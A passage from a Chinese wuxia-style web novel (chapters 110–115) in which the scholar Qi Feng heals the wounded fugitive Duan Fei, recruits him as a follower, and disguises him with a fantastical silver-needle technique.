他咬牙道:“齐枫,你,你怎知我胸口有伤?!”
他眼中明显带着几分不可置信,没想到这春闱榜首竟能一眼看穿自己的隐伤!
齐枫哈哈一笑,慢悠悠道:“段兄莫要惊讶。本少爷虽是书生,好歹也懂些医术。你左臂刀伤虽重,但那胸口暗劲才是要命之处。若不及时救治,怕是撑不过今晚。段兄纵横江湖多年,不会连这点伤势都看不透吧?”
段飞脸色微变,目光死死盯着齐枫,胸口的暗伤是他与萧无痕交手时,被一记刀气暗中震入,表面无痕,却内伤极重。
他强撑着逃到此地,本以为无人能察觉,不料竟被齐枫一语道破。
他咬牙道:“齐枫,你这书生倒是有些门道!但你不要以为几句话就能让我信你!少在这儿装神弄鬼!”
齐枫挑眉,笑意更深缓缓道:“段兄何必嘴硬呢?本少爷既能看出你这暗伤,自然也有几分把握。你若不信,大可拖着这伤势,看看能撑到几时。依本少爷看,你这胸口暗劲若不化解,不出三日,定会气血逆行,危及性命!”
段飞闻言,眼中闪过一丝犹豫,刀锋微微一松,但依旧抵在齐枫咽喉。
他冷声道:“齐枫,你若敢耍花样,段某便是拼了这条命,也定要拉你垫背!你到底有何目的?为何如此好心?”
齐枫目光微动,笑道:“段兄多虑了。本少爷与你无冤无仇,何必害你?只是你既选了我这房间藏身,本少爷总不能看着你血流满地,晕死在这儿吧?那可就真成了萧大人眼中的余孽同党了。本少爷不过是想帮你一把,省得麻烦上身。”
段飞眼中戒备未减,沉声道:“齐枫,你少来这套甜言蜜语!段某纵横江湖,什么样的阴谋诡计没见过?你若真有本事治我的伤,便说说,这胸口暗劲如何化解?若你敢胡言乱语,别怪我刀下无情!”
齐枫慢悠悠道:“段兄莫急,你这胸口暗劲,乃是萧大人刀气所伤,表面无痕,却暗藏杀机。这刀气留在你体内,若不及时逼出,定会侵蚀经脉,日后与萧大人再交手,他只需催动刀气,你便会气血爆裂,当场毙命!”
段飞闻言,脸色骤变,额头冷汗如雨,背脊升起一股寒意。
他咬牙道:“齐枫,你……你怎这么清楚这刀气的厉害?!”
他显然被齐枫的话震住了。
他虽是江湖悍匪,武艺高强,但对萧无痕的刀气却深有忌惮,方才交手时已领教其恐怖,如今听齐枫一语道破隐患,心中不由生出一丝恐惧。
齐枫见状,嘴角笑意更浓,缓缓道:“段兄莫慌,你若信我,便让我试试,保管让你这暗伤无虞。若不信,本少爷也不勉强,只是这刀气留在体内,段兄怕是再无翻身之日。”
段飞目光闪烁,权衡利弊,刀锋却依旧不离齐枫咽喉。
他咬牙道:“齐枫,你若敢耍我,段某便是死,也要拉你一起下地狱!”
齐枫哈哈一笑,一脸轻松道:“段兄何必如此?人与人之间,总该多几分信任,段兄若愿配合,本少爷只需两指之力,便可将你这胸口刀气逼出,如何?”
段飞闻言,目光一凛,片刻后,他咬牙道:“好!齐枫,段某便信你一回!但你若敢有半点异动,段某这刀,定让你血溅五步!”
他刀锋一转,缓缓收回,却依旧紧握在手,眼中戒备不减。
齐枫目光微动,笑道:“段兄放心,本少爷一介书生,哪敢
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与你这黑风刀玩花样?来,本少爷这便为你化解刀气。”
他上前一步,折扇一收,指尖轻点,动作迅捷如风,瞬间点在段飞胸口两处大穴。
段飞只觉胸口一麻,似有一股暖流自齐枫指尖涌入,体内滞涩的气血竟缓缓流动,胸口的隐痛减轻了几分。
他眼中闪过一丝惊异,沉声道:“齐枫,你这手法倒真有几分门道!”
齐枫收回手指,笑道:“段兄莫急,这只是初步疏通。你这刀气入体已深,需得再点几处穴位,方能彻底逼出。不过……”
他顿了顿,目光扫向段飞的伤口,“你这伤口内的刀气残留,更是个隐患。若不清理干净,日后必成大患,这刀气若留存体内,迟早让你爆体而亡!”
“段兄,背对本少爷,放松心神,本少爷自会为你彻底化解这刀气隐患。”
段飞目光闪烁,眼中犹豫更甚。
他咬牙道:“齐枫,你让我背对你?段某纵横江湖,怎会轻易信人?你若趁机偷袭,段某岂不死得冤枉?”
齐枫哈哈一笑,戏谑道:“段兄,你这黑风刀纵横江湖,连萧大人都拿你不下,还怕我这手无缚鸡之力的书生偷袭?若段兄不放心,大可继续提着刀,本少爷只管动手便是。”
段飞冷哼一声,目光在齐枫脸上扫过,片刻后,才道:“好!齐枫,段某便赌你一回!”
他缓缓转身,背对齐枫,乌黑长刀却依旧紧握在手,随时准备反击。
齐枫目光微动,嘴角笑意更深,缓缓伸出一指,点向段飞后背。
指尖刚触及段飞背脊,段飞猛地瞪大双眼,感受到一股奇异的气息自后背涌入,体内刀气竟隐隐震颤!
这一股霸道无匹的力量自齐枫指尖涌入体内,宛如洪流冲刷,瞬间席卷全身经脉。
力量如狂风骤雨,带着一股不容抗拒的威势,直奔他胸口那道暗藏的刀气而去!
这突如其来的攻势让段飞吓了一大跳!
第一百一十一章 驱逐刀气
段飞咬紧牙关,喉间发出一声低哼,额头青筋暴起,像是在承受莫大的痛苦。
那刀气乃是萧无痕圆月弯刀所留,阴狠毒辣,潜伏在段飞体内,早已侵蚀气血,宛如附骨之疽。
此刻,在齐枫指尖力量的驱使下,那刀气如受惊的毒蛇,在段飞经脉中四处乱窜,忽而冲向心脉,忽而窜至丹田,带起一阵阵撕裂般的剧痛。
段飞只觉胸口如被千斤巨石碾压,气息一滞,险些坐立不稳。
他紧握长刀的手微微颤抖,刀锋在地上划出一道刺耳的轻响,眼中满是震惊,痛楚。
齐枫目光微眯,沉声道:“段兄,稍安勿躁。这刀气藏得极深,需得全力逼出。你若乱了心神,只会让它更难驱逐!”
他指尖力道加重,那股霸道力量如潮水般涌动,在段飞体内横冲直撞,精准地追逐着那道刀气。
段飞咬牙低吼:“齐枫……你这力量……好生霸道!”
体内刀气在齐枫的力量压迫下,宛如困兽,左冲右突,试图逃窜,却被那股力量死死压制。
每当刀气窜至一处经脉,便带起一阵钻心剧痛,段飞额头冷汗如雨,灰袍已被汗水浸透,贴在身上,显得狼狈不堪。
刀气在段飞体内游走,时而如利刃切割经脉,时而如烈焰灼烧气血,痛得他几乎要低吼出声。
他强撑着坐立,紧握长刀的手指因用力过度而泛白,眼中却闪过一丝复杂的神色。
这刀气若不除去,迟早要了他的命,可齐枫这书生竟有如此手段,着实让他心惊!
齐枫目光如炬,指尖力道不断加深,沉声道:“段兄,再忍片刻!这刀气已被逼至你膻中穴,马上便可驱出!”
他话音未落,指尖猛地一震,一股更强的力量涌入段飞体内,直冲膻中穴。
那刀气似被彻底激怒,疯狂冲撞,带起一阵撕心裂肺的剧痛,段飞闷哼一声,身形摇晃,险些跌倒。
就在此时,段飞胸口猛地一震,只听一声低沉的嗡鸣,似有无形之物破体而出。
那道刀气终于无处可逃,化作一缕凌厉的寒光,自段飞胸口飞射而出,带着刺耳的破空声,直奔一旁的木桌而去。
“砰!”木桌上瞬间出现两道深可见木的划痕,桌角被削去一截,木屑纷飞,落在地上,触目惊心。
段飞猛地吐出一口气,胸口剧痛骤减,整个人如释重负,气息渐渐平稳。
他低头一看,胸口虽无外伤,但方才那股刀气肆虐的窒息感已荡然无存,体内气血流转顺畅,仿若新生。
他转过身,目光死死盯着齐枫,眼中满是震撼,沙哑道:“齐枫……你竟然真能逼出这刀气!”
齐枫缓缓收回手指,折扇一展,笑眯眯道:“段兄,本少爷既敢开口,自然有几分把握。你这刀气虽凶险,但在本少爷看来,不过小疾罢了。如今刀气已除,段兄可觉好些?”
段飞低头感受片刻,体内那股隐隐作祟的压迫感已彻底消失,胸口暗伤带来的滞涩感一扫而空。
他咬牙道:“齐枫,你这手段当真了得!段某纵横江湖多年,从未见过如此手法!”
他顿了顿,目光一凛,沉声道:“不过,你不要以为帮了我一回,我便会全然信你。你若敢耍花样,段某的刀,依旧不认人!”
齐枫哈哈一笑:“段兄多虑了。本少爷一介书生,帮你驱除刀气,不过是看你伤势可怜,举手之劳罢了,你若还信不过,本少爷也不勉强。只是……”
他目光一闪,戏谑道,“段兄这伤势虽缓,左臂刀伤仍需包扎。不如本少爷再帮你一回,免得你血流干了,晕在这儿坏了本少爷的名声。”
段飞冷哼一声,目光在齐枫脸上扫过,紧握长刀,眼中戒备未减,却也不再像方才那般咄咄逼人。
他沉声道:“齐枫,你这书生藏得倒是够深!我也算是开了眼界,不过,这点小恩小惠,还不能让我对你推心置腹。段某的命,可不是那么好拿的!”
齐枫挑眉笑道
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:“段兄言重了。本少爷既无意取你性命,也不想与你为敌。你既选了我这房间藏身,本少爷便当个东道主,权且陪你耗着。你若有其他打算,尽可直言,本少爷洗耳恭听。”
段飞目光闪烁,思索脱身之计。他左臂伤口仍在渗血,胸口暗伤虽除,体力却已大不如前。
他叹了口气道:“齐枫,你既有这手段,段某暂且信你一回。但你若敢将我行踪泄露出去,段某便是拼了这条命,也定要让你后悔!”
齐枫笑眯眯道:“段兄放心,本少爷既帮了你,自不会自找麻烦。你只管安心养伤,至于萧大人那边,本少爷自会应付。”
段飞眼中犹豫不决,半晌才沉声道:“齐枫,你到底是何人?!是什么隐士高人?”
方才齐枫驱逐刀气的手段,绝非普通书生能有,这让他对齐枫的身份生出深深的怀疑!
齐枫目光微眯,嘴角勾起一抹从容的笑意:“段兄何必如此较真?本少爷不过青田县一介纨绔子弟,侥幸考了个春闱榜首,哪里是什么高人?段兄莫要高看我了。”
段飞目光一凛,眼中精光闪烁:“齐枫,在我面前你少来这套!萧无痕的刀气何等霸道,我亲身体会,绝非寻常人能化解!你方才驱逐刀气的手法,哪里像个手无缚鸡之力的书生?那分明是一股比萧无痕刀气还要强横的力量!你若只是个纨绔子弟,段某这黑风刀的名号,怕是早就被狗吃了!”
方才齐枫指尖涌入的那股力量,如洪流般席卷他全身经脉,精准地将萧无痕的刀气逼出,手段之高明,远超他所见过的任何江湖高手。
他段飞纵横江湖多年,自问见多识广,可齐枫这一手,却让他彻底乱了方寸。
齐枫静静听着,脸上笑意不减,眼中却闪过一抹深不可测的光芒。
“段兄好眼力!不过本少爷方才不过是用了几分医术,略施小技罢了。段兄若非亲身体会萧大人刀气的厉害,怕也不会如此高看本少爷吧?”
第一百一十二章 你到底是谁
段飞冷笑一声,目光死死锁定齐枫:“齐枫,你莫要装糊涂!段某虽受了伤,可眼力还在。你那手段,绝非医术可解释!那股力量,霸道凌厉,远超萧无痕的刀气!你若只是个书生,怎可能有如此本事?依段某看,你这春闱榜首,分明是个深藏不露的高手!说!你到底是谁?!”
他的刀锋缓缓抬起,寒光在灯火下闪烁,透着一丝威胁。
段飞虽身负重伤,但江湖悍匪的狠劲未减,眼中满是戒备。
齐枫挑眉,哈哈一笑:“段兄,你这疑心可真重!本少爷一介书生,哪有什么高手不高手的?若真有段兄说的那般本事,本少爷早就在府城扬名立万,何必在这客栈里跟你耗着?段兄莫不是伤势未愈,脑子有些乱了?”
段飞目光闪烁,盯着齐枫看了片刻,忽地长叹一声,摇了摇头,自嘲地笑了起来。
“哈哈,段某真是可笑!堂堂黑风刀,纵横江湖多年,竟在这儿婆婆妈妈,疑神疑鬼!”
他顿了顿,目光一转,沉声道:“齐枫,不管你是谁,段某今日算是服了。你若真有心害我,方才驱逐刀气时,稍有差池,段某便已是个**。你既没下手,段某便信你一回!”
他刀锋一收,缓缓垂下,继续道:“段某原本想着,若你不肯配合,段某便用这刀逼你就范。可如今看来,你这本事,怕是比段某高出不知多少!若你真想将我交给萧无痕,段某便是全盛之时,也绝非你对手!段某真是看走了眼!”
齐枫闻言,摸了摸鼻子,笑眯眯道:“段兄,你这马后炮可打得晚了些。本少爷早说过,对你并无恶意。你既选了我这房间藏身,本少爷便当个东道主,陪你耗着便是。你如今刀气已除,伤势稍缓,总该信我几分了吧?”
段飞目光深邃,深深看了齐枫一眼,眼中闪过一丝复杂的神色。
“段某原以为,凭我这刀,足以胁迫你让我藏身于此,哪怕你不愿,也无妨。可如今看来,段某这想法,简直蠢到家了!齐枫,你到底意欲何为?真愿让段某躲在这儿?”
齐枫笑意更深:“段兄,本少爷既帮你逼出了刀气,自然不会再把你推出去。你若想在这儿躲着,本少爷自无不可。不过……”
他顿了顿,目光一闪,“本少爷帮你这大忙,总不能白干。段兄若想在这儿安心养伤,本少爷有个小小条件。”
段飞闻言,目光一凛,沉声道:“果然没那么简单!说吧,到底什么条件?!”
齐枫目光扫过段飞,缓缓道:“段兄,本少爷虽是书生,平日里也略通些相面之术。观你面相,眉宇间虽有煞气,却不似大奸大恶之徒。本少爷有些好奇,那传闻中你**镖局三十余口的案子,到底是何缘由?莫非你真是那**如麻的恶匪?”
段飞闻言,目光微微一闪,他低哼一声,眼中闪过一丝复杂的神色,沙哑道:“齐枫,你这书生真是杂学广博,连相面之术都懂几分!不错,段某的确屠了那镖局三十余口,但你可知为何?”
他顿了顿,眼中带着几分愤恨,“那镖局的少东家,仗着家势,强占了一良家女子,逼得那女子自尽不算,还将她父母活活逼死!段某听闻此事,怒火难平,亲自登门,将那镖局上下,鸡犬不留!”
他话音落下,眼中闪过一抹寒光,刀锋微微一颤,连长刀都在回应他的怒意。
段飞咬牙道:“段某虽是江湖草莽,但也知恩怨分明!那镖局上下,皆是助纣为虐之辈,段某杀他们,不过是为那冤死的女子讨个公道!”
齐枫闻言,目光微动,微微一笑:“果然如此。段兄行事虽狠辣,却有自己的道义。本少爷就说,以段兄的为人,怎会无故屠戮?看来传闻多有偏颇。”
段飞目光复杂地看向齐枫:“齐枫,你既看出段某的为人,为何还愿出手救我?莫非……你早知此事?”
方才齐枫驱逐刀气的手段已让他心惊,此刻再听齐枫的话,心中疑窦更甚
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齐枫笑而不语,并未直接回应:“段兄,本少爷不过一介书生,救你不过是举手之劳。至于为何,段兄不必多想。既来之则安之,是非对错,自有时间来证明。”
段飞闻言,深吸一口气,摇了摇头,苦笑道:“齐枫,段某为求活命,冒险潜入你这房间,也不知是对是错。你这书生,藏得太深,段某算是彻底看不透了!”
他顿了顿,目光一凛,沉声道:“不过,段某既承了你这份情,便不再多疑,你刚才想说的条件是什么?”
齐枫摆手道:“段兄莫急,本少爷这条件,其实简单得很。”
“本少爷身边,缺几个真正有本事的助力。段兄刀法高强,胆识过人,若能留在本少爷身边,助我一臂之力,本少爷便保你在这府城安然无恙,如何?”
段飞闻言,瞳孔猛地一缩,脸上闪过一丝震惊。
他咬牙道:“齐枫,你……你要我为你效力?!”
房间内的气氛陡然紧张,灯火摇曳,映得二人的身影在墙上交错。
段飞紧握长刀,目光如鹰,死死盯着齐枫,齐枫笑意不减,眼中却藏着一抹让人捉摸不透的光芒。
段飞深吸一口气,才道:“齐枫,你这书生,果然藏得深!段某原以为,你不过是个春闱榜首,顶多有些小聪明。谁知你不仅能驱逐萧无痕的刀气,还敢提出这等条件!你到底有何图谋?段某纵横江湖,怎会轻易为人所用?”
齐枫挑眉,笑道:“段兄言重了。如今府城风波不断,本少爷身边缺些可靠之人。段兄若愿留下,本少爷自会保你周全。否则……”
他顿了顿,目光一闪,“段兄这伤势虽缓,但萧大人正在全城搜捕,你若贸然离开,怕是难逃天罗地网。”
段飞冷哼一声:“齐枫,你这条件,倒是打得好算盘!段某若留下,便是与你绑在一处,等于将命交到你手上!”
气氛如同过山车,随着段飞这话一出口,一变再变!
第一百一十三章 降服段飞
齐枫笑眯眯道:“段兄误会了。本少爷从不强人所难。你若不愿,本少爷也不会勉强。只是段兄如今身负重伤,府城四处是官兵,段兄若想安然脱身,怕是不易。本少爷这条件,不过是给段兄一个活命的机会罢了。”
段飞目光闪烁,沉默片刻,忽地冷笑道:“齐枫,你既救我一命,又愿让我藏身,段某也不矫情。你这条件,段某可以考虑,但……”
他顿了顿,眼中闪过一丝精光,“段某有个条件!你若真心让我留下,便说说,你为何如此看重段某?莫不是想借我这刀对付什么人?”
齐枫笑道:“段兄果然快人快语!本少爷看重你,不过是因为段兄刀法高强,义薄云天,是个值得结交的豪杰。至于对付谁,段兄多虑了。本少爷不过想多个助力,应对这府城的风波罢了。”
“我若是不答应呢?”段飞皱眉问道。
齐枫笑了,却让段飞起了一身鸡皮疙瘩:“段兄,本少爷说了,从不是喜欢威胁人的人。你若不愿留下,本少爷绝不勉强。只是……”
他顿了顿,笑意中带着一丝淡然,“若段兄不愿,本少爷这房间怕是留不得你了。毕竟,本少爷冒着天大的风险让你藏身,总得有些回报。你若执意离开,本少爷只能请你自便了。”
段飞闻言,瞳孔一缩,脸上闪过一丝错愕,没想到齐枫如此直白。
他皱眉:“齐枫,你……你要赶我走?!你这还说不是威胁?”
齐枫哈哈一笑:“段兄莫急。每个人行事,皆为自己谋利,本少爷也不例外。若我无条件对你好,段兄怕是也不会信吧?本少爷这条件,不过是想双方都有个保障。你若不愿,本少爷自不会强留,但还是那句话,这房间,怕是真容不下你这黑风刀了。”
段飞沉默片刻,才咬牙威胁道:“齐枫,你就不怕我若落到萧无痕手中,将你供出?你这房间藏匿朝廷重犯,若传出去,怕是你这春闱榜首的名头,也保不住吧?”
齐枫挑眉,笑意更深:“段兄,你这话可没意思。本少爷若怕你供出,早就将你绑了送去萧大人那儿了。何必费尽心思为你驱除刀气?段兄不妨好好想想,跟着本少爷,总比在府城四处躲藏强上百倍。本少爷的条件,不过是想与段兄结个善缘罢了。”
段飞目光闪烁,沉默良久,他胸口的刀气已除,左臂伤势虽重,却已无性命之忧。
齐枫的手段让他心惊,此刻再听这番话,心中最后一丝戒备也渐渐松动。
他深吸一口气,眼中闪过一丝决然,沉声道:“好!齐枫,段某算是彻底服了!你既救我一命,又愿让我藏身,段某便赌这一回!从今往后,段某愿为你效力!”
齐枫闻言,这才笑眯眯道:“段兄果然痛快!本少爷就喜欢你这爽利的性子!”
他顿了顿,目光一闪,带着几分郑重,“不过,本少爷丑话说在前头。本少爷对自己人,从不亏待,但前提是绝对的忠诚。段兄若有朝一日生出二心,本少爷可不会手软。”
这话虽平淡,却如一柄无形之刃,透着森冷的威势。
段飞闻言,背脊一寒,起了一身鸡皮疙瘩,感受到一股无形的压力扑面而来。
他一脸正色道:“段某既应了你,便绝无二心!你放心,段某纵横江湖,最重信义,绝不会做那背信弃义之事!”
齐枫点头道:“如此甚好!段兄既有此心,本少爷便放心了。”
他随手从怀中掏出一只瓷瓶,抛向段飞,“此乃本少爷特制的疗伤丹药,段兄服下,三日之内,左臂伤势当可痊愈。本少爷既收了你,自不会让你带伤上阵。”
段飞接过瓷瓶,目光一闪,带着几分惊讶。
他打开瓶塞,嗅了嗅,一股清香扑鼻,药力隐隐透出,让他心头一震。
“齐枫,你这丹药……当真有如此神效?”
他虽是江湖草莽,却也识得几分药理,这丹药的气息,绝
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非凡品。
齐枫打了个哈欠,懒洋洋道:“段兄莫要多疑。本少爷既说了三日痊愈,便不会食言。眼下夜已深,本少爷有些困了,段兄自便吧,好好疗伤,莫要吵了本少爷清梦。”
说罢,他径直走向床边,躺下后没过片刻,呼吸便渐渐沉稳,竟真睡了过去。
段飞站在原地,目光复杂地看着齐枫,手中紧握瓷瓶,刀锋低垂。
他心中暗道:“这齐枫,当真是个怪人!面对我这黑风刀,竟敢如此毫无防备地睡去!江湖中人,要么心大如海,要么实力强到根本不把我放在眼里。齐枫这书生,怕是后者!”
他顿了顿,目光扫向瓷瓶,心中疑虑稍减,“罢了!他既敢给我丹药,又敢当着我面睡去,段某便信他一回!”
段飞盘膝坐下,服下一粒丹药,药力入体,化作一股暖流,迅速涌向左臂伤口。
他闭目调息,体内气血流转,伤口处的刺痛渐渐缓解,血流也缓缓止住。
他心中暗惊:“这丹药,果然不凡!”
夜色深沉,客栈内一片寂静,唯有油灯微光摇曳,映得房间内的气氛平静,诡异。
段飞盘膝打坐,专心疗伤,乌黑长刀横在膝上,刀锋寒光闪烁。
齐枫躺在床上,呼吸沉稳,似对外界毫无察觉,嘴角却依旧挂着一抹若有若无的笑意。
时间缓缓流逝,夜色渐浓。
段飞调息片刻,伤势已稳定不少,他睁开双眼,目光扫向齐枫,心中思绪翻涌。
翌日清晨,天光微亮,客栈外的街道尚笼罩在一片薄雾之中。
段飞盘膝而坐,气息已平稳许多,左臂伤口虽未痊愈,但已不再渗血。
他正闭目调息,门外忽地传来一阵轻叩声,小荷清脆的声音响起:“少爷!该起床了!青禾姐姐说今日要去书肆瞧瞧新出的书,您可别赖床!”
段飞闻言,猛地睁开双眼,目光一凛,刀锋微微抬起,眼中闪过一丝警惕。
第一百一十四章 银针易容
乌黑长刀的刀锋寒光在晨光中闪烁,透着森冷的杀意。
齐枫躺在床上,被小荷的敲门声惊醒,缓缓睁开眼睛,目光扫向段飞,见他一副如临大敌的模样,嘴角微微一勾,抬手轻轻摆了摆,示意他稍安勿躁。
段飞目光一凛,刀锋微微下压,却并未完全放下,依旧死死盯着齐枫,在等待他的应对。
齐枫懒洋洋地坐起身,揉了揉眼睛,扬声道:“小荷,本少爷知道了,马上就起来。你先去帮我准备洗漱的东西吧,别在这儿吵了。”
门外的小荷应了一声,脆生生道:“好嘞,少爷!你可别又赖床!我这就去准备!”
说完,脚步声蹦蹦跳跳远去,渐渐消失在走廊尽头。
房间内重新恢复寂静,段飞的目光却未从齐枫身上移开,眼中精光闪烁,在揣摩什么。
他紧握长刀,缓缓放下,却依旧保持着戒备的姿态,沙哑道:“齐公子,你很镇定,换作旁人,怕是早就吓得魂飞魄散了。”
齐枫闻言,哈哈一笑,慢悠悠站起身,目光扫过段飞,戏谑道:“本少爷若连这点胆量都没有,怎配让你叫一声少爷?”
段飞闻言,目光微动,眼中闪过一丝复杂的神色。
他深吸一口气,忽地踏前一步,抱拳拱手,沉声道:“少爷!”
这一声喊得干脆,却又带着几分试探。
段飞的目光牢牢锁在齐枫脸上,想看透他的反应。
齐枫挑眉,笑眯眯道:“哟,段兄这一声少爷喊得可真响亮!看来昨晚那丹药效果不错,你这伤势恢复得如何?瞧你这气色,怕是好了七八分了吧?”
段飞闻言,点了点头,眼中闪过一丝震撼,沉声道:“少爷,段某行走江湖多年,见识过不少名医圣手,可从未见过你这丹药的功效!一晚上吐纳调息,左臂伤势已好了七八分,连胸口的暗伤都几乎痊愈。便是江湖上那些所谓的医药圣宗,怕也未必有这等手段!”
他顿了顿,目光中带着几分敬佩:“少爷,段某算是彻底服了!昨晚我还在犹豫,可这丹药一入体,段某便知,你这人,绝非寻常书生!段某愿赌服输,从今往后,定当尽心效力!”
齐枫闻言,摸了摸鼻子,笑意更深。
这段飞果然是江湖豪杰,傲气归傲气,可一旦被折服,便是真心实意。
这丹药出自他的手,药力自不必说,段飞能在一夜间恢复七八分,足以证明他的忠心已初见端倪。
只要继续留在身边,这黑风刀,迟早会成为他的一大助力!
他摆了摆手,笑道:“段兄言重了。你的伤势既已好转,本少爷也算没白费心思。不过,依本少爷看,你这模样,怕是还不适合抛头露面。”
“府城如今风声鹤唳,萧大人正带着人四处搜捕,你若出去,怕是刚踏出客栈就得被官兵围了。不如继续留在本少爷这房间养伤,本少爷自会想办法保你周全。”
段飞闻言,眉头微皱,眼中闪过一丝犹豫,沉声道:“少爷,段某躲在你这房间,的确安全,可若一直藏着,怕也帮不上你什么忙。段某既已归顺,总不能白吃白喝,成天窝在这儿当个废人吧?”
齐枫哈哈一笑:“段兄这话倒是有理。看来你这黑风刀,还是想着建功立业,不愿当个缩头乌龟啊。”
他顿了顿,目光一闪,笑道:“既然如此,本少爷倒有个法子,能让你在府城自由行动,不被萧大人察觉。”
段飞闻言,眼中精光一闪,忙道:“少爷有何妙计?莫不是……易容术?”
他话音刚落,眼中却闪过一丝失望,摇了摇头道:“少爷,段某虽懂些江湖手段,可这易容术却不精通。况且,寻常易容术需得道具妆扮,稍有不慎便会露馅,怕是难以瞒过萧无痕那狗官的眼睛。”
齐枫嘴角笑意更浓,慢悠悠道:“你这黑风刀纵横江湖,怎的见识如此短浅?本少爷说的,可不是那些涂脂抹粉的粗浅
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易容术。你可曾听说过……银针易容?”
“银针易容?!”段飞瞳孔猛地一缩,脸上满是震惊,失声道:“少爷,你是说那传说中的银针易容术?!以银针刺激穴位,改变面部骨骼,甚至身形体态?!据说此术只有顶尖高手才能施展,强如江湖一流宗门,也鲜有人精通!少爷,你,你竟会此术?!”
齐枫笑道:“不愧是黑风刀,好见识!本少爷若不会这点手段,怎敢夸下海口?银针易容,的确能改变面部骨骼,甚至身高体态。虽不至于让你变成另一个人,但让萧大人认不出你,绰绰有余!”
段飞目光闪烁,眼中满是不可置信,喃喃道:“少爷,你这手段……当真学得如此杂博?!银针易容,连江湖顶尖高手都未必能做到,你一个春闱榜首,怎会……”
他话未说完,齐枫摆手打断,笑眯眯道:“段兄,世上学问无边,本少爷不过是略通一二罢了。前世……咳,本少爷闲来无事,钻研了些杂学,恰好派上用场。段兄若信得过,便让本少爷试试,如何?”
段飞深吸一口气,目光在齐枫脸上扫过,眼中犹豫渐渐消散,咬牙道:“好!少爷既有此手段,段某便再信你一回!只是这银针易容,听说颇为疼痛,段某虽不怕痛,可……”
齐枫哈哈一笑,摆手道:“段兄放心,昨晚你连萧大人的刀气都熬过去了,这点银针之痛,算得了什么?本少爷手法稳得很,保管让你舒舒服服变个模样!”
他从怀中掏出一只精致的木盒,打开后,里面躺着数根细如牛毛的银针,针尖在晨光下闪着幽幽寒光。
齐枫目光一闪,沉声道:“段兄,稍稍忍耐片刻,银针入穴,可能会有些不适。不过,以你的武功底子,这点痛楚,想必不在话下。”
段飞咬牙,哈哈一笑:“少爷,段某纵横江湖,刀口舔血,这点疼痛算什么?昨晚那刀气之痛,都没让我吭一声,少爷尽管动手!”
第一百一十五章 段飞臣服
齐枫点点头,目光如炬,手指一翻,夹起一根银针,动作快如闪电,精准地刺入段飞面部一处穴位。
“嘶!”段飞只觉脸部一麻,针尖入穴,带起一股奇异的刺痛,紧接着,他清晰地感觉到面部肌肉似在缓缓蠕动,仿佛被无形之力牵引。
齐枫手指不停,银针如飞,接连刺入段飞面部数处穴位,每一针都精准无比!
落针之处,段飞的颧骨,鼻梁,下颌,竟隐隐发生变化,肌肉与骨骼似被重塑,发出轻微的咔咔声。
段飞咬紧牙关,额头渗出冷汗,眼中却满是震撼。
他能感觉到,自己的面部轮廓正在缓缓改变,鼻梁略高,颧骨稍平,连下巴的弧度都变得柔和了几分。
齐枫目光如炬,手法越发迅捷,银针翻飞间,又刺入段飞脖颈与肩头数处穴位。
这一次,段飞只觉一股暖流自银针涌入,体内骨骼竟也发出轻微的响动,身形似在缓缓缩小,肩宽收窄,连手臂的肌肉线条都变得柔和。
“少爷,这……这银针易容,竟能连身形都改?!”段飞瞪大双眼,声音中带着几分颤抖,震惊之情溢于言表。
齐枫笑而不语,手法不停,银针如雨,精准地落入段飞胸口,腰部穴位。
每落一针,段飞便觉体内骨骼与肌肉被一股无形之力重塑,身高竟缓缓矮了半寸,手掌也变得纤细几分,连指节的粗糙感都消失无踪。
整个过程不过半盏茶的功夫,齐枫收针而立,折扇一展,笑眯眯道:“段兄,成了!本少爷这银针易容,虽不敢说改天换地,但让你变成另一个人,足以瞒过萧大人的耳目!”
段飞低头看了看自己的双手,掌纹细腻,指节纤长,与他往日粗糙的大手判若两人。
他猛地站起身,试着走了两步,只觉身形轻盈,步伐间少了往日的沉重,仿若换了具身体。
他眼中满是震撼,喃喃道:“少爷,这……这当真是银针易容?!段某简直不敢相信!”
齐枫哈哈一笑,从桌上拿起一面铜镜,递到段飞面前,笑道:“段兄,自己瞧瞧吧,看看本少爷的手艺如何?”
段飞接过铜镜,定睛一看,镜中之人面容清秀,鼻梁高挺,眉眼间少了往日的凶戾,多了几分儒雅之气。
连身形都矮了半寸,肩宽收窄,整个人仿若换了个模样,与那黑风刀段飞判若两人!
他猛地瞪大双眼,眼中满是不可置信,失声道:“这……这还是段某?!少爷,你这手段,简直神乎其技!”
他放下铜镜,转身看向齐枫,喉头滚动,沙哑道:“少爷,这……若非亲身经历,段某绝不敢相信世上竟有如此易容术!江湖上那些易容高手,段某也见过不少,可他们顶多改改皮相,涂脂抹粉,糊弄些普通人罢了。”
“像少爷这银针易容,竟连骨骼,身形,气息都能改变,段某行走江湖多年,闻所未闻!”
他顿了顿,眼中闪过一丝敬畏,继续道:“少爷,实不相瞒,江湖高手识破易容并不难。一个人纵使改了容貌,身高,骨骼,气息,这些根本的东西极难掩藏。寻常易容术,骗骗市井百姓还行,遇上萧无痕那等眼力毒辣的朝廷命官,怕是三两眼就能看破。”
“可少爷这手段……段某敢说,即便此刻站在萧无痕面前,他也绝认不出我来!这易容术,简直神乎其技!”
段飞说到激动处,眼中满是崇拜,语气中带着几分心服口服:“少爷,段某算是彻底服了!昨日我还疑你藏有图谋,可今日这一手,段某算是开了眼界!能将我这黑风刀折服到如此地步,少爷,你这春闱榜首的名头,怕是藏了太多不为人知的本事!”
看得出来,段飞确实很激动,一次性说的话怕是比一个月说的都要多了。
齐枫懒洋洋笑道:“段兄谬赞了。这银针易容,不过是本少爷闲来无事钻研的小技罢了,算不得什么。段兄若觉得好用,那本少爷这番心思也没白费。”
段飞目光一闪,忍不住道:“少爷,你这还叫小技?!江湖上那些所谓的高手,怕是连给你提鞋都不配!不过……”
他顿了顿,皱眉道,“少爷,我这容貌虽变了,可毕竟还是朝廷重犯,若贸然出去,怕是身份来历难以解释。萧无痕那狗官正全城搜捕,段某总不能顶着这张脸四处晃悠吧?少爷可有办法,让段某这新身份顺理成章些?”
齐枫嘴角勾起一抹意味深长的笑意:“段兄果然是个明白人。放心,本少爷既帮你换了模样,自不会让你无头苍蝇似的乱撞。你且听好,今日你先从这窗户出去,找个地方暂避风头。”
“过上两日,本少爷会安排人手,给你一个新身份,届时你再光明正大地来客栈寻我,假装是本少爷新结识的友人,如此一来,府城上下谁会怀疑?”
段飞闻
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言,瞳孔微缩,眼中闪过一丝惊叹,抱拳道:“少爷真是心思缜密!这一招借势而为,滴水不漏,段某佩服!”
他顿了顿,摇了摇头,苦笑道:“还好段某不是少爷的敌人,否则怕是连**的都不知道!少爷这心机手段,段某算是彻底领教了!”
